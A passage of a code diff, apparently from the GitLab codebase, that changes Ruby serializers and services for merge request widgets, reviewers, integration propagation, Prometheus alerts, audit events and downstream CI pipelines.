+ expose :short_merged_commit_sha
expose :merge_error
expose :public_merge_status, as: :merge_status
expose :merge_user_id
@@ -56,9 +56,9 @@ class MergeRequestPollCachedWidgetEntity < IssuableEntity
presenter(merge_request).target_branch_tree_path
end
- expose :merge_commit_path do |merge_request|
- if merge_request.merge_commit_sha
- project_commit_path(merge_request.project, merge_request.merge_commit_sha)
+ expose :merged_commit_path do |merge_request|
+ if sha = merge_request.merged_commit_sha
+ project_commit_path(merge_request.project, sha)
end
end
diff --git a/app/serializers/merge_request_poll_widget_entity.rb b/app/serializers/merge_request_poll_widget_entity.rb
index 99d6211b487..41ab5005091 100644
--- a/app/serializers/merge_request_poll_widget_entity.rb
+++ b/app/serializers/merge_request_poll_widget_entity.rb
@@ -73,6 +73,8 @@ class MergeRequestPollWidgetEntity < Grape::Entity
presenter(merge_request).pipeline_coverage_delta
end
+ expose :head_pipeline_builds_with_coverage, as: :builds_with_coverage, using: BuildCoverageEntity
+
expose :cancel_auto_merge_path do |merge_request|
presenter(merge_request).cancel_auto_merge_path
end
diff --git a/app/serializers/merge_request_reviewer_entity.rb b/app/serializers/merge_request_reviewer_entity.rb
new file mode 100644
index 00000000000..fefd116014f
--- /dev/null
+++ b/app/serializers/merge_request_reviewer_entity.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class MergeRequestReviewerEntity < ::API::Entities::UserBasic
+ expose :can_merge do |reviewer, options|
+ options[:merge_request]&.can_be_merged_by?(reviewer)
+ end
+end
+
+MergeRequestReviewerEntity.prepend_if_ee('EE::MergeRequestReviewerEntity')
diff --git a/app/serializers/merge_request_sidebar_extras_entity.rb b/app/serializers/merge_request_sidebar_extras_entity.rb
index 7276509c363..9db8e52abef 100644
--- a/app/serializers/merge_request_sidebar_extras_entity.rb
+++ b/app/serializers/merge_request_sidebar_extras_entity.rb
@@ -4,4 +4,8 @@ class MergeRequestSidebarExtrasEntity < IssuableSidebarExtrasEntity
expose :assignees do |merge_request|
MergeRequestAssigneeEntity.represent(merge_request.assignees, merge_request: merge_request)
end
+
+ expose :reviewers, if: -> (m) { m.allows_reviewers? } do |merge_request|
+ MergeRequestReviewerEntity.represent(merge_request.reviewers, merge_request: merge_request)
+ end
end
diff --git a/app/serializers/merge_request_widget_entity.rb b/app/serializers/merge_request_widget_entity.rb
index b7b9e7d1036..494192c8dbb 100644
--- a/app/serializers/merge_request_widget_entity.rb
+++ b/app/serializers/merge_request_widget_entity.rb
@@ -62,6 +62,7 @@ class MergeRequestWidgetEntity < Grape::Entity
merge_request.source_branch,
file_name: '.gitlab-ci.yml',
commit_message: s_("CommitMessage|Add %{file_name}") % { file_name: Gitlab::FileDetector::PATTERNS[:gitlab_ci] },
+ mr_path: merge_request_path(merge_request),
suggest_gitlab_ci_yml: true
)
end
diff --git a/app/serializers/note_entity.rb b/app/serializers/note_entity.rb
index c49dec2a93c..ef305195e22 100644
--- a/app/serializers/note_entity.rb
+++ b/app/serializers/note_entity.rb
@@ -46,6 +46,10 @@ class NoteEntity < API::Entities::Note
SystemNoteHelper.system_note_icon_name(note)
end
+ expose :is_noteable_author do |note|
+ note.noteable_author?(request.noteable)
+ end
+
expose :discussion_id do |note|
note.discussion_id(request.noteable)
end
diff --git a/app/serializers/pipeline_entity.rb b/app/serializers/pipeline_entity.rb
index de1e07139ad..64958b06f1d 100644
--- a/app/serializers/pipeline_entity.rb
+++ b/app/serializers/pipeline_entity.rb
@@ -85,10 +85,6 @@ class PipelineEntity < Grape::Entity
pipeline.failed_builds
end
- expose :tests_total_count do |pipeline|
- pipeline.test_report_summary.total[:count]
- end
-
private
alias_method :pipeline, :object
diff --git a/app/serializers/project_note_entity.rb b/app/serializers/project_note_entity.rb
index f6cdea1d8b5..3cd34f6af0d 100644
--- a/app/serializers/project_note_entity.rb
+++ b/app/serializers/project_note_entity.rb
@@ -5,6 +5,14 @@ class ProjectNoteEntity < NoteEntity
note.project.team.human_max_access(note.author_id)
end
+ expose :is_contributor, if: -> (note, _) { note.project.present? } do |note|
+ note.contributor?
+ end
+
+ expose :project_name, if: -> (note, _) { note.project.present? } do |note|
+ note.project.name
+ end
+
expose :toggle_award_path, if: -> (note, _) { note.emoji_awardable? } do |note|
toggle_award_emoji_project_note_path(note.project, note.id)
end
diff --git a/app/serializers/test_suite_entity.rb b/app/serializers/test_suite_entity.rb
index d04fd5f6a84..15eb2891b22 100644
--- a/app/serializers/test_suite_entity.rb
+++ b/app/serializers/test_suite_entity.rb
@@ -13,7 +13,7 @@ class TestSuiteEntity < Grape::Entity
with_options if: -> (_, opts) { opts[:details] } do |test_suite|
expose :suite_error
expose :test_cases, using: TestCaseEntity do |test_suite|
- test_suite.suite_error ? [] : test_suite.test_cases.values.flat_map(&:values)
+ test_suite.suite_error ? [] : test_suite.sorted.test_cases.values.flat_map(&:values)
end
end
end
diff --git a/app/services/admin/propagate_integration_service.rb b/app/services/admin/propagate_integration_service.rb
index 9a5ce58ee2c..34d6008cb6a 100644
--- a/app/services/admin/propagate_integration_service.rb
+++ b/app/services/admin/propagate_integration_service.rb
@@ -2,46 +2,24 @@
module Admin
class PropagateIntegrationService
- BATCH_SIZE = 100
-
- delegate :data_fields_present?, to: :integration
-
- def self.propagate(integration:, overwrite:)
- new(integration, overwrite).propagate
- end
-
- def initialize(integration, overwrite)
- @integration = integration
- @overwrite = overwrite
- end
+ include PropagateService
def propagate
- if overwrite
- update_integration_for_all_projects
- else
- update_integration_for_inherited_projects
- end
+ update_inherited_integrations
+ create_integration_for_groups_without_integration if Feature.enabled?(:group_level_integrations)
create_integration_for_projects_without_integration
end
private
- attr_reader :integration, :overwrite
-
# rubocop: disable Cop/InBatches
# rubocop: disable CodeReuse/ActiveRecord
- def update_integration_for_inherited_projects
+ def update_inherited_integrations
Service.where(type: integration.type, inherit_from_id: integration.id).in_batches(of: BATCH_SIZE) do |batch|
bulk_update_from_integration(batch)
end
end
-
- def update_integration_for_all_projects
- Service.where(type: integration.type).in_batches(of: BATCH_SIZE) do |batch|
- bulk_update_from_integration(batch)
- end
- end
# rubocop: enable Cop/InBatches
# rubocop: enable CodeReuse/ActiveRecord
@@ -62,61 +40,33 @@ module Admin
end
# rubocop: enable CodeReuse/ActiveRecord
- def create_integration_for_projects_without_integration
+ def create_integration_for_groups_without_integration
loop do
- batch = Project.uncached { Project.ids_without_integration(integration, BATCH_SIZE) }
+ batch = Group.uncached { group_ids_without_integration(integration, BATCH_SIZE) }
- bulk_create_from_integration(batch) unless batch.empty?
+ bulk_create_from_integration(batch, 'group') unless batch.empty?
break if batch.size < BATCH_SIZE
end
end
- def bulk_create_from_integration(batch)
- service_list = ServiceList.new(batch, service_hash, { 'inherit_from_id' => integration.id }).to_array
-
- Project.transaction do
- results = bulk_insert(*service_list)
-
- if data_fields_present?
- data_list = DataList.new(results, data_fields_hash, integration.data_fields.class).to_array
-
- bulk_insert(*data_list)
- end
-
- run_callbacks(batch)
- end
- end
-
- def bulk_insert(klass, columns, values_array)
- items_to_insert = values_array.map { |array| Hash[columns.zip(array)] }
-
- klass.insert_all(items_to_insert, returning: [:id])
- end
-
- # rubocop: disable CodeReuse/ActiveRecord
- def run_callbacks(batch)
- if integration.issue_tracker?
- Project.where(id: batch).update_all(has_external_issue_tracker: true)
- end
-
- if active_external_wiki?
- Project.where(id: batch).update_all(has_external_wiki: true)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def active_external_wiki?
- integration.type == 'ExternalWikiService'
- end
-
def service_hash
@service_hash ||= integration.to_service_hash
.tap { |json| json['inherit_from_id'] = integration.id }
end
- def data_fields_hash
- @data_fields_hash ||= integration.to_data_fields_hash
+ # rubocop:disable CodeReuse/ActiveRecord
+ def group_ids_without_integration(integration, limit)
+ services = Service
+ .select('1')
+ .where('services.group_id = namespaces.id')
+ .where(type: integration.type)
+
+ Group
+ .where('NOT EXISTS (?)', services)
+ .limit(limit)
+ .pluck(:id)
end
+ # rubocop:enable CodeReuse/ActiveRecord
end
end
diff --git a/app/services/admin/propagate_service_template.rb b/app/services/admin/propagate_service_template.rb
new file mode 100644
index 00000000000..cd0d2d5d03f
--- /dev/null
+++ b/app/services/admin/propagate_service_template.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Admin
+ class PropagateServiceTemplate
+ include PropagateService
+
+ def propagate
+ return unless integration.active?
+
+ create_integration_for_projects_without_integration
+ end
+
+ private
+
+ def service_hash
+ @service_hash ||= integration.to_service_hash
+ end
+ end
+end
diff --git a/app/services/alert_management/create_alert_issue_service.rb b/app/services/alert_management/create_alert_issue_service.rb
index f16b106b748..58c7402c6c1 100644
--- a/app/services/alert_management/create_alert_issue_service.rb
+++ b/app/services/alert_management/create_alert_issue_service.rb
@@ -41,7 +41,8 @@ module AlertManagement
project,
user,
title: alert_presenter.title,
- description: alert_presenter.issue_description
+ description: alert_presenter.issue_description,
+ severity: alert.severity
).execute
end
diff --git a/app/services/alert_management/process_prometheus_alert_service.rb b/app/services/alert_management/process_prometheus_alert_service.rb
index c233ea4e2e5..95ae84a85a4 100644
--- a/app/services/alert_management/process_prometheus_alert_service.rb
+++ b/app/services/alert_management/process_prometheus_alert_service.rb
@@ -3,9 +3,10 @@
module AlertManagement
class ProcessPrometheusAlertService < BaseService
include Gitlab::Utils::StrongMemoize
+ include ::IncidentManagement::Settings
def execute
- return bad_request unless parsed_alert.valid?
+ return bad_request unless incoming_payload.has_required_attributes?
process_alert_management_alert
@@ -14,71 +15,62 @@ module AlertManagement
private
- delegate :firing?, :resolved?, :gitlab_fingerprint, :ends_at, to: :parsed_alert
-
- def parsed_alert
- strong_memoize(:parsed_alert) do
- Gitlab::Alerting::Alert.new(project: project, payload: params)
- end
- end
-
def process_alert_management_alert
- process_firing_alert_management_alert if firing?
- process_resolved_alert_management_alert if resolved?
+ if incoming_payload.resolved?
+ process_resolved_alert_management_alert
+ else
+ process_firing_alert_management_alert
+ end
end
def process_firing_alert_management_alert
- if am_alert.present?
- am_alert.register_new_event!
+ if alert.persisted?
+ alert.register_new_event!
reset_alert_management_alert_status
else
create_alert_management_alert
end
- process_incident_alert
+ process_incident_issues if process_issues?
end
def reset_alert_management_alert_status
- return if am_alert.trigger
+ return if alert.trigger
logger.warn(
message: 'Unable to update AlertManagement::Alert status to triggered',
project_id: project.id,
- alert_id: am_alert.id
+ alert_id: alert.id
)
end
def create_alert_management_alert
- new_alert = AlertManagement::Alert.new(am_alert_params.merge(ended_at: nil))
- if new_alert.save
- new_alert.execute_services
- @am_alert = new_alert
+ if alert.save
+ alert.execute_services
+ SystemNoteService.create_new_alert(alert, Gitlab::AlertManagement::AlertParams::MONITORING_TOOLS[:prometheus])
return
end
logger.warn(
message: 'Unable to create AlertManagement::Alert',
project_id: project.id,
- alert_errors: new_alert.errors.messages
+ alert_errors: alert.errors.messages
)
end
- def am_alert_params
- Gitlab::AlertManagement::AlertParams.from_prometheus_alert(project: project, parsed_alert: parsed_alert)
- end
-
def process_resolved_alert_management_alert
- return if am_alert.blank?
+ return unless alert.persisted?
+ return unless auto_close_incident?
- if am_alert.resolve(ends_at)
- close_issue(am_alert.issue)
+ if alert.resolve(incoming_payload.ends_at)
+ close_issue(alert.issue)
return
end
logger.warn(
message: 'Unable to update AlertManagement::Alert status to resolved',
project_id: project.id,
- alert_id: am_alert.id
+ alert_id: alert.id
)
end
@@ -92,20 +84,45 @@ module AlertManagement
SystemNoteService.auto_resolve_prometheus_alert(issue, project, User.alert_bot) if issue.reset.closed?
end
- def process_incident_alert
- return unless am_alert
- return if am_alert.issue
+ def process_incident_issues
+ return unless alert.persisted?
+ return if alert.issue
- IncidentManagement::ProcessAlertWorker.perform_async(nil, nil, am_alert.id)
+ IncidentManagement::ProcessAlertWorker.perform_async(nil, nil, alert.id)
end
def logger
@logger ||= Gitlab::AppLogger
end
- def am_alert
- strong_memoize(:am_alert) do
- AlertManagement::Alert.not_resolved.for_fingerprint(project, gitlab_fingerprint).first
+ def alert
+ strong_memoize(:alert) do
+ existing_alert || new_alert
+ end
+ end
+
+ def existing_alert
+ strong_memoize(:existing_alert) do
+ AlertManagement::Alert.not_resolved.for_fingerprint(project, incoming_payload.gitlab_fingerprint).first
+ end
+ end
+
+ def new_alert
+ strong_memoize(:new_alert) do
+ AlertManagement::Alert.new(
+ **incoming_payload.alert_params,
+ ended_at: nil
+ )
+ end
+ end
+
+ def incoming_payload
+ strong_memoize(:incoming_payload) do
+ Gitlab::AlertManagement::Payload.parse(
+ project,
+ params,
+ monitoring_tool: Gitlab::AlertManagement::Payload::MONITORING_TOOLS[:prometheus]
+ )
end
end
diff --git a/app/services/audit_event_service.rb b/app/services/audit_event_service.rb
index fef733a7d09..d7630dbdac9 100644
--- a/app/services/audit_event_service.rb
+++ b/app/services/audit_event_service.rb
@@ -25,6 +25,8 @@ class AuditEventService
#
# @return [AuditEventService]
def for_authentication
+ mark_as_authentication_event!
+
@details = {
with: @details[:with],
target_id: @author.id,
@@ -37,9 +39,10 @@ class AuditEventService
# Writes event to a file and creates an event record in DB
#
- # @return [SecurityEvent] persited if saves and non-persisted if fails
+ # @return [AuditEvent] persited if saves and non-persisted if fails
def security_event
log_security_event_to_file
+ log_authentication_event_to_database
log_security_event_to_database
end
@@ -50,6 +53,7 @@ class AuditEventService
private
+ attr_accessor :authentication_event
attr_reader :ip_address
def build_author(author)
@@ -70,6 +74,22 @@ class AuditEventService
}
end
+ def authentication_event_payload
+ {
+ # @author can be a User or various Gitlab::Audit authors.
+ # Only capture real users for successful authentication events.
+ user: author_if_user,
+ user_name: @author.name,
+ ip_address: ip_address,
+ result: AuthenticationEvent.results[:success],
+ provider: @details[:with]
+ }
+ end
+
+ def author_if_user
+ @author if @author.is_a?(User)
+ end
+
def file_logger
@file_logger ||= Gitlab::AuditJsonLogger.build
end
@@ -78,10 +98,24 @@ class AuditEventService
@details.merge(@details.slice(:from, :to).transform_values(&:to_s))
end
+ def mark_as_authentication_event!
+ self.authentication_event = true
+ end
+
+ def authentication_event?
+ authentication_event
+ end
+
def log_security_event_to_database
return if Gitlab::Database.read_only?
- SecurityEvent.create(base_payload.merge(details: @details))
+ AuditEvent.create(base_payload.merge(details: @details))
+ end
+
+ def log_authentication_event_to_database
+ return unless Gitlab::Database.read_write? && authentication_event?
+
+ AuthenticationEvent.create(authentication_event_payload)
end
end
diff --git a/app/services/auto_merge/base_service.rb b/app/services/auto_merge/base_service.rb
index 5c63dc34cb1..41236286d23 100644
--- a/app/services/auto_merge/base_service.rb
+++ b/app/services/auto_merge/base_service.rb
@@ -60,6 +60,21 @@ module AutoMerge
end
end
+ ##
+ # NOTE: This method is to be removed when `disallow_to_create_merge_request_pipelines_in_target_project`
+ # feature flag is removed.
+ def self.can_add_to_merge_train?(merge_request)
+ if Gitlab::Ci::Features.disallow_to_create_merge_request_pipelines_in_target_project?(merge_request.target_project)
+ merge_request.for_same_project?
+ else
+ true
+ end
+ end
+
+ def can_add_to_merge_train?(merge_request)
+ self.class.can_add_to_merge_train?(merge_request)
+ end
+
private
# Overridden in child classes
diff --git a/app/services/auto_merge/merge_when_pipeline_succeeds_service.rb b/app/services/auto_merge/merge_when_pipeline_succeeds_service.rb
index 7e0298432ac..d18f2935d92 100644
--- a/app/services/auto_merge/merge_when_pipeline_succeeds_service.rb
+++ b/app/services/auto_merge/merge_when_pipeline_succeeds_service.rb
@@ -38,8 +38,6 @@ module AutoMerge
private
def notify(merge_request)
- return unless Feature.enabled?(:mwps_notification, project)
-
notification_service.async.merge_when_pipeline_succeeds(merge_request, current_user) if merge_request.saved_change_to_auto_merge_enabled?
end
end
diff --git a/app/services/boards/destroy_service.rb b/app/services/boards/destroy_service.rb
index ea0c1394aa3..8f3d4b58b7b 100644
--- a/app/services/boards/destroy_service.rb
+++ b/app/services/boards/destroy_service.rb
@@ -3,9 +3,13 @@
module Boards
class DestroyService < Boards::BaseService
def execute(board)
- return false if parent.boards.size == 1
+ if parent.boards.size == 1
+ return ServiceResponse.error(message: "The board could not be deleted, because the parent doesn't have any other boards.")
+ end
- board.destroy
+ board.destroy!
+
+ ServiceResponse.success
end
end
end
diff --git a/app/services/boards/issues/move_service.rb b/app/services/boards/issues/move_service.rb
index 14e8683ebdf..56a7e228b10 100644
--- a/app/services/boards/issues/move_service.rb
+++ b/app/services/boards/issues/move_service.rb
@@ -71,12 +71,16 @@ module Boards
# rubocop: disable CodeReuse/ActiveRecord
def moving_from_list
+ return unless params[:from_list_id].present?
+
@moving_from_list ||= board.lists.find_by(id: params[:from_list_id])
end
# rubocop: enable CodeReuse/ActiveRecord
# rubocop: disable CodeReuse/ActiveRecord
def moving_to_list
+ return unless params[:to_list_id].present?
+
@moving_to_list ||= board.lists.find_by(id: params[:to_list_id])
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/services/branches/delete_service.rb b/app/services/branches/delete_service.rb
index 9bd5b343448..6efbdd161a1 100644
--- a/app/services/branches/delete_service.rb
+++ b/app/services/branches/delete_service.rb
@@ -26,7 +26,7 @@ module Branches
message: 'Failed to remove branch',
http_status: 400)
end
- rescue Gitlab::Git::PreReceiveError => ex
+ rescue Gitlab::Git::PreReceiveError, Gitlab::Git::CommandError => ex
ServiceResponse.error(message: ex.message, http_status: 400)
end
diff --git a/app/services/ci/archive_trace_service.rb b/app/services/ci/archive_trace_service.rb
index f143736ddc1..073ef465e13 100644
--- a/app/services/ci/archive_trace_service.rb
+++ b/app/services/ci/archive_trace_service.rb
@@ -13,6 +13,7 @@ module Ci
end
job.trace.archive!
+ job.remove_pending_state!
# TODO: Remove this logging once we confirmed new live trace architecture is functional.
# See https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/4667.
diff --git a/app/services/ci/cancel_user_pipelines_service.rb b/app/services/ci/cancel_user_pipelines_service.rb
index bcafb6b4a35..3a8b5e91088 100644
--- a/app/services/ci/cancel_user_pipelines_service.rb
+++ b/app/services/ci/cancel_user_pipelines_service.rb
@@ -7,6 +7,10 @@ module Ci
# https://gitlab.com/gitlab-org/gitlab/issues/32332
def execute(user)
user.pipelines.cancelable.find_each(&:cancel_running)
+
+ ServiceResponse.success(message: 'Pipeline canceled')
+ rescue ActiveRecord::StaleObjectError
+ ServiceResponse.error(message: 'Error canceling pipeline')
end
# rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/services/ci/create_cross_project_pipeline_service.rb b/app/services/ci/create_cross_project_pipeline_service.rb
deleted file mode 100644
index 23207d809d4..00000000000
--- a/app/services/ci/create_cross_project_pipeline_service.rb
+++ /dev/null
@@ -1,110 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- # TODO: rename this (and worker) to CreateDownstreamPipelineService
- class CreateCrossProjectPipelineService < ::BaseService
- include Gitlab::Utils::StrongMemoize
-
- DuplicateDownstreamPipelineError = Class.new(StandardError)
-
- def execute(bridge)
- @bridge = bridge
-
- if bridge.has_downstream_pipeline?
- Gitlab::ErrorTracking.track_exception(
- DuplicateDownstreamPipelineError.new,
- bridge_id: @bridge.id, project_id: @bridge.project_id
- )
- return
- end
-
- pipeline_params = @bridge.downstream_pipeline_params
- target_ref = pipeline_params.dig(:target_revision, :ref)
-
- return unless ensure_preconditions!(target_ref)
-
- service = ::Ci::CreatePipelineService.new(
- pipeline_params.fetch(:project),
- current_user,
- pipeline_params.fetch(:target_revision))
-
- downstream_pipeline = service.execute(
- pipeline_params.fetch(:source), pipeline_params[:execute_params]) do |pipeline|
- pipeline.variables.build(@bridge.downstream_variables)
- end
-
- downstream_pipeline.tap do |pipeline|
- update_bridge_status!(@bridge, pipeline)
- end
- end
-
- private
-
- def update_bridge_status!(bridge, pipeline)
- Gitlab::OptimisticLocking.retry_lock(bridge) do |subject|
- if pipeline.created_successfully?
- # If bridge uses `strategy:depend` we leave it running
- # and update the status when the downstream pipeline completes.
- subject.success! unless subject.dependent?
- else
- subject.options[:downstream_errors] = pipeline.errors.full_messages
- subject.drop!(:downstream_pipeline_creation_failed)
- end
- end
- rescue StateMachines::InvalidTransition => e
- Gitlab::ErrorTracking.track_exception(
- Ci::Bridge::InvalidTransitionError.new(e.message),
- bridge_id: bridge.id,
- downstream_pipeline_id: pipeline.id)
- end
-
- def ensure_preconditions!(target_ref)
- unless downstream_project_accessible?
- @bridge.drop!(:downstream_bridge_project_not_found)
- return false
- end
-
- # TODO: Remove this condition if favour of model validation
- # https://gitlab.com/gitlab-org/gitlab/issues/38338
- if downstream_project == project && !@bridge.triggers_child_pipeline?
- @bridge.drop!(:invalid_bridge_trigger)
- return false
- end
-
- # TODO: Remove this condition if favour of model validation
- # https://gitlab.com/gitlab-org/gitlab/issues/38338
- if @bridge.triggers_child_pipeline? && @bridge.pipeline.parent_pipeline.present?
- @bridge.drop!(:bridge_pipeline_is_child_pipeline)
- return false
- end
-
- unless can_create_downstream_pipeline?(target_ref)
- @bridge.drop!(:insufficient_bridge_permissions)
- return false
- end
-
- true
- end
-
- def downstream_project_accessible?
- downstream_project.present? &&
- can?(current_user, :read_project, downstream_project)
- end
-
- def can_create_downstream_pipeline?(target_ref)
- can?(current_user, :update_pipeline, project) &&
- can?(current_user, :create_pipeline, downstream_project) &&
- can_update_branch?(target_ref)
- end
-
- def can_update_branch?(target_ref)
- ::Gitlab::UserAccess.new(current_user, container: downstream_project).can_update_branch?(target_ref)
- end
-
- def downstream_project
- strong_memoize(:downstream_project) do
- @bridge.downstream_project
- end
- end
- end
-end
diff --git a/app/services/ci/create_downstream_pipeline_service.rb b/app/services/ci/create_downstream_pipeline_service.rb
new file mode 100644
index 00000000000..0394cfb6119
--- /dev/null
+++ b/app/services/ci/create_downstream_pipeline_service.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+module Ci
+ # Takes in input a Ci::Bridge job and creates a downstream pipeline
+ # (either multi-project or child pipeline) according to the Ci::Bridge
+ # specifications.
+ class CreateDownstreamPipelineService < ::BaseService
+ include Gitlab::Utils::StrongMemoize
+
+ DuplicateDownstreamPipelineError = Class.new(StandardError)
+
+ MAX_DESCENDANTS_DEPTH = 2
+
+ def execute(bridge)
+ @bridge = bridge
+
+ if bridge.has_downstream_pipeline?
+ Gitlab::ErrorTracking.track_exception(
+ DuplicateDownstreamPipelineError.new,
+ bridge_id: @bridge.id, project_id: @bridge.project_id
+ )
+ return
+ end
+
+ pipeline_params = @bridge.downstream_pipeline_params
+ target_ref = pipeline_params.dig(:target_revision, :ref)
+
+ return unless ensure_preconditions!(target_ref)
+
+ service = ::Ci::CreatePipelineService.new(
+ pipeline_params.fetch(:project),
+ current_user,
+ pipeline_params.fetch(:target_revision))
+
+ downstream_pipeline = service.execute(
+ pipeline_params.fetch(:source), pipeline_params[:execute_params]) do |pipeline|
+ pipeline.variables.build(@bridge.downstream_variables)
+ end
+
+ downstream_pipeline.tap do |pipeline|
+ update_bridge_status!(@bridge, pipeline)
+ end
+ end
+
+ private
+
+ def update_bridge_status!(bridge, pipeline)
+ Gitlab::OptimisticLocking.retry_lock(bridge) do |subject|
+ if pipeline.created_successfully?
+ # If bridge uses `strategy:depend` we leave it running
+ # and update the status when the downstream pipeline completes.
+ subject.success! unless subject.dependent?
+ else
+ subject.options[:downstream_errors] = pipeline.errors.full_messages
+ subject.drop!(:downstream_pipeline_creation_failed)
+ end
+ end
+ rescue StateMachines::InvalidTransition => e
+ Gitlab::ErrorTracking.track_exception(
+ Ci::Bridge::InvalidTransitionError.new(e.message),
+ bridge_id: bridge.id,
+ downstream_pipeline_id: pipeline.id)
+ end
+
+ def ensure_preconditions!(target_ref)
+ unless downstream_project_accessible?
+ @bridge.drop!(:downstream_bridge_project_not_found)
+ return false
+ end
+
+ # TODO: Remove this condition if favour of model validation
+ # https://gitlab.com/gitlab-org/gitlab/issues/38338
+ if downstream_project == project && !@bridge.triggers_child_pipeline?
+ @bridge.drop!(:invalid_bridge_trigger)
+ return false
+ end
+
+ # TODO: Remove this condition if favour of model validation
+ # https://gitlab.com/gitlab-org/gitlab/issues/38338
+ if ::Gitlab::Ci::Features.child_of_child_pipeline_enabled?(project)
+ if has_max_descendants_depth?
+ @bridge.drop!(:reached_max_descendant_pipelines_depth)
+ return false
+ end
+ else
+ if @bridge.triggers_child_pipeline? && @bridge.pipeline.parent_pipeline.present?
+ @bridge.drop!(:bridge_pipeline_is_child_pipeline)
+ return false
+ end
+ end
+
+ unless can_create_downstream_pipeline?(target_ref)
+ @bridge.drop!(:insufficient_bridge_permissions)
+ return false
+ end
+
+ true
+ end
+
+ def downstream_project_accessible?
+ downstream_project.present? &&
+ can?(current_user, :read_project, downstream_project)
+ end
+
+ def can_create_downstream_pipeline?(target_ref)
+ can?(current_user, :update_pipeline, project) &&
+ can?(current_user, :create_pipeline, downstream_project) &&
+ can_update_branch?(target_ref)
+ end
+
+ def can_update_branch?(target_ref)
+ ::Gitlab::UserAccess.new(current_user, container: downstream_project).can_update_branch?(target_ref)
+ end
+
+ def downstream_project
+ strong_memoize(:downstream_project) do
+ @bridge.downstream_project
+ end
+ end
+
+ def has_max_descendants_depth?
+ return false unless @bridge.triggers_child_pipeline?
+
+ ancestors_of_new_child = @bridge.pipeline.base_and_ancestors(same_project: true)
+ ancestors_of_new_child.count > MAX_DESCENDANTS_DEPTH
+ end
+ end
+end
diff --git a/app/services/ci/create_job_artifacts_service.rb b/app/services/ci/create_job_artifacts_service.rb
index cd3807e0495..1fe65898d55 100644
--- a/app/services/ci/create_job_artifacts_service.rb
+++ b/app/services/ci/create_job_artifacts_service.rb
@@ -2,6 +2,8 @@
module Ci
class CreateJobArtifactsService < ::BaseService
+ include Gitlab::Utils::UsageData
+
ArtifactsExistError = Class.new(StandardError)
LSIF_ARTIFACT_TYPE = 'lsif'
@@ -25,7 +27,7 @@ module Ci
if lsif?(artifact_type)
headers[:ProcessLsif] = true
- headers[:ProcessLsifReferences] = Feature.enabled?(:code_navigation_references, project, default_enabled: true)
+ track_usage_event('i_source_code_code_intelligence', project.id)
end
success(headers: headers)
diff --git a/app/services/ci/create_web_ide_terminal_service.rb b/app/services/ci/create_web_ide_terminal_service.rb
index 4f1bf0447d2..a78281aed16 100644
--- a/app/services/ci/create_web_ide_terminal_service.rb
+++ b/app/services/ci/create_web_ide_terminal_service.rb
@@ -70,7 +70,7 @@ module Ci
end
def load_terminal_config!
- result = ::Ci::WebIdeConfigService.new(project, current_user, sha: sha).execute
+ result = ::Ide::TerminalConfigService.new(project, current_user, sha: sha).execute
raise TerminalCreationError, result[:message] if result[:status] != :success
@terminal = result[:terminal]
diff --git a/app/services/ci/destroy_expired_job_artifacts_service.rb b/app/services/ci/destroy_expired_job_artifacts_service.rb
index 1fa8926faa1..ca6e60f819a 100644
--- a/app/services/ci/destroy_expired_job_artifacts_service.rb
+++ b/app/services/ci/destroy_expired_job_artifacts_service.rb
@@ -20,18 +20,18 @@ module Ci
def execute
in_lock(EXCLUSIVE_LOCK_KEY, ttl: LOCK_TIMEOUT, retries: 1) do
loop_until(timeout: LOOP_TIMEOUT, limit: LOOP_LIMIT) do
- destroy_batch
+ destroy_batch(Ci::JobArtifact) || destroy_batch(Ci::PipelineArtifact)
end
end
end
private
- def destroy_batch
- artifact_batch = if Gitlab::Ci::Features.destroy_only_unlocked_expired_artifacts_enabled?
- Ci::JobArtifact.expired(BATCH_SIZE).unlocked
+ def destroy_batch(klass)
+ artifact_batch = if klass == Ci::JobArtifact
+ klass.expired(BATCH_SIZE).unlocked
else
- Ci::JobArtifact.expired(BATCH_SIZE)
+ klass.expired(BATCH_SIZE)
end
artifacts = artifact_batch.to_a
diff --git a/app/services/ci/destroy_pipeline_service.rb b/app/services/ci/destroy_pipeline_service.rb
index 9aea20c45f7..1d9533ed76f 100644
--- a/app/services/ci/destroy_pipeline_service.rb
+++ b/app/services/ci/destroy_pipeline_service.rb
@@ -8,6 +8,10 @@ module Ci
Ci::ExpirePipelineCacheService.new.execute(pipeline, delete: true)
pipeline.destroy!
+
+ ServiceResponse.success(message: 'Pipeline not found')
+ rescue ActiveRecord::RecordNotFound
+ ServiceResponse.error(message: 'Pipeline not found')
end
end
end
diff --git a/app/services/ci/generate_coverage_reports_service.rb b/app/services/ci/generate_coverage_reports_service.rb
index ebd1eaf0bad..063fb966183 100644
--- a/app/services/ci/generate_coverage_reports_service.rb
+++ b/app/services/ci/generate_coverage_reports_service.rb
@@ -12,7 +12,7 @@ module Ci
{
status: :parsed,
key: key(base_pipeline, head_pipeline),
- data: head_pipeline.coverage_reports.pick(merge_request.new_paths)
+ data: head_pipeline.pipeline_artifacts.find_with_code_coverage.present.for_files(merge_request.new_paths)
}
rescue => e
Gitlab::ErrorTracking.track_exception(e, project_id: project.id)
diff --git a/app/services/ci/parse_dotenv_artifact_service.rb b/app/services/ci/parse_dotenv_artifact_service.rb
index fcbdc94c097..71b306864b2 100644
--- a/app/services/ci/parse_dotenv_artifact_service.rb
+++ b/app/services/ci/parse_dotenv_artifact_service.rb
@@ -54,7 +54,7 @@ module Ci
end
def scan_line!(line)
- result = line.scan(/^(.*)=(.*)$/).last
+ result = line.scan(/^(.*?)=(.*)$/).last
raise ParserError, 'Invalid Format' if result.nil?
diff --git a/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb b/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
index d0aa8b04775..aeabbb99468 100644
--- a/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
+++ b/app/services/ci/pipeline_processing/atomic_processing_service/status_collection.rb
@@ -77,15 +77,8 @@ module Ci
private
def status_for_array(statuses, dag:)
- # TODO: This is hack to support
- # the same exact behaviour for Atomic and Legacy processing
- # that DAG is blocked from executing if dependent is not "complete"
